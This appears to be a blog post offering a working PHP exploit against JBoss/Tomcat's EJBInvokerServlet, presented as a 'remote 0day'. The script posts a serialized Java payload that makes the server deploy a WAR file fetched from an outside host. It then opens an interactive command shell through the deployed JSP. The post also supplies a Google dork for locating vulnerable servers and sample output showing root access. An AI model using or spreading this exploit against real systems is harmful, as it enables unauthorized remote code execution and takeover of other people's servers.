apache tomcat remote 0day

PHP Code:
<?php/*
Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object
Remote Code Execution
autor : rgod , exploit code Black-ID
google dork: inurl:status EJBInvokerServlet

this was used successfully on Windows during a penetration test against
McAfee Web Reporter 5.2.1 (tcp port 9111/http) gaining administrative privileges
see: http://www.mcafee.com/it/downloads/downloads.aspx
file tested: webreporter64bit.zip

Usage:
C:\PHP>php 9sg_ejb.php 192.168.0.1
tomcat-shell# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10
*/
$host $argv[1];$port $argv[2];
//small jsp shell
//change this if you want, url to the app to be deployed, keep it short
$url "http://retrogod.altervista.org/a.war?";

function 
http_send($host$packet,$port)
{
if ((
$sock fsockopen($host$port))){ fputs($sock$packet);
return 
stream_get_contents($sock);
}
}
$ulen pack("n",strlen($url));
$shcode01 ="\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73"// ....sr.) org.jbos"\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72"// s.invoca tion.Mar"\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f"// shalledI nvocatio"\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77"// n...'A>. ....xppw"\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76"// .x..G..S .sr..jav"\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2"// a.lang.I nteger.."\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75"// .....8.. .I..valu"\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e"// exr..jav a.lang.N"\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00"// umber... ........"\x78\x70\x26\x95\xbe\x0a\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62"// xp&...sr .$org.jb"\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d"// oss.invo cation.M"\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc"// arshalle dValue.."\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x77";
$shcode02 "\x00";
$shcode03 ="\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e"// .....ur. .[Ljava."\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f"// lang.Obj ect;..X."\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00"// .s)l...x p....sr."\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e"// .javax.m anagemen"\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b"// t.Object Name...."\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73"// .m.....x pt.!jbos"\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69\x63\x65"// s.system :service"\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78\x74\x00"// =MainDep loyerxt."\x06\x64\x65\x70\x6c\x6f\x79\x75\x71\x00\x7e\x00\x00\x00\x00\x00"// .deployu q.~....."\x01\x74".$ulen.$url."\x75\x72\x00"."\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61"// ur..[ Ljava.la"\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d"// ng.Strin g;..V..."\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61"// {G...xp. ...t..ja"\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67";
$shcode04 ="\x0d\xd3""\xbe\xc9\x78\x77\x04\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67"// ..xw.... .sr."org"\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f"// .jboss.i nvocatio"\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8"// n.Invoca tionKey."\xfb\x72\x84\xd7\x93\x85\xf9\x02\x00\x01\x49\x00\x07\x6f\x72\x64"// .r...... ..I..ord"\x69\x6e\x61\x6c\x78\x70\x00\x00\x00\x05\x73\x71\x00\x7e\x00\x05"// inalxp.. ..sq.~.."\x77\x0d\x00\x00\x00\x05\xac\xed\x00\x05\x70\xfb\x57\xa7\xaa\x78"// w....... ..p.W..x"\x77\x04\x00\x00\x00\x03\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x04"// w.....sq .~......"\x73\x72\x00\x23\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e"// sr.#org. jboss.in"\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74"// vocation .Invocat"\x69\x6f\x6e\x54\x79\x70\x65\x59\xa7\x3a\x1c\xa5\x2b\x7c\xbf\x02"// ionTypeY .:..+|.."\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00"// ..I..ord inalxp.."\x00\x01\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x0a\x70\x74\x00\x0f"// ..sq.~.. ....pt.."\x4a\x4d\x58\x5f\x4f\x42\x4a\x45\x43\x54\x5f\x4e\x41\x4d\x45\x73"// JMX_OBJE CT_NAMEs"\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d"// r..javax .managem"\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03"// ent.Obje ctName.."\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62"// ...m.... .xpt.!jb"\x6f\x73\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69"// oss.syst em:servi"\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78"// ce=MainD eployerx"\x78"// x
$payload $shcode01.pack("v",strlen($shcode03)+8).$shcode02.pack("n",strlen($shcode03)).$shcode03.$shcode04;
$packet "POST /invoker/EJBInvokerServlet/ HTTP/1.1\r\n";$packet .= "ContentType: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation\r\n";$packet .= "Accept-Encoding: x-gzip,x-deflate,gzip,deflate\r\n";$packet .= "User-Agent: Java/1.6.0_21\r\n";$packet .= "Host: ".$host.":".$port."\r\n";$packet .= "Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\n";$packet .= "Connection: keep-alive\r\n";$packet .= "Content-type: application/x-www-form-urlencoded\r\n";$packet .= "Content-Length: ".strlen($payload)."\r\n\r\n{$payload}";http_send($host,$packet,$port); sleep(5);

while(
1)
{
print 
"\ntomcat-shell# ";
if ((
$cmd trim(fgets(STDIN))) == "exit") break;$packet "GET /a/pwn.jsp?cmd=".urlencode($cmd)." HTTP/1.1\r\n";$packet .= "Host: {$host}\r\n";$packet .= "Connection: close\r\n\r\n";preg_match('/Connection: close\r\n\r\n(.*)\n/s'http_send($host,$packet,$port), $m);
print 
$m[1];#print http_send($host,$packet,$port);}?>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

video tutorial :
 
 
 
 
 
 

















Post a Comment

 
Top
Google+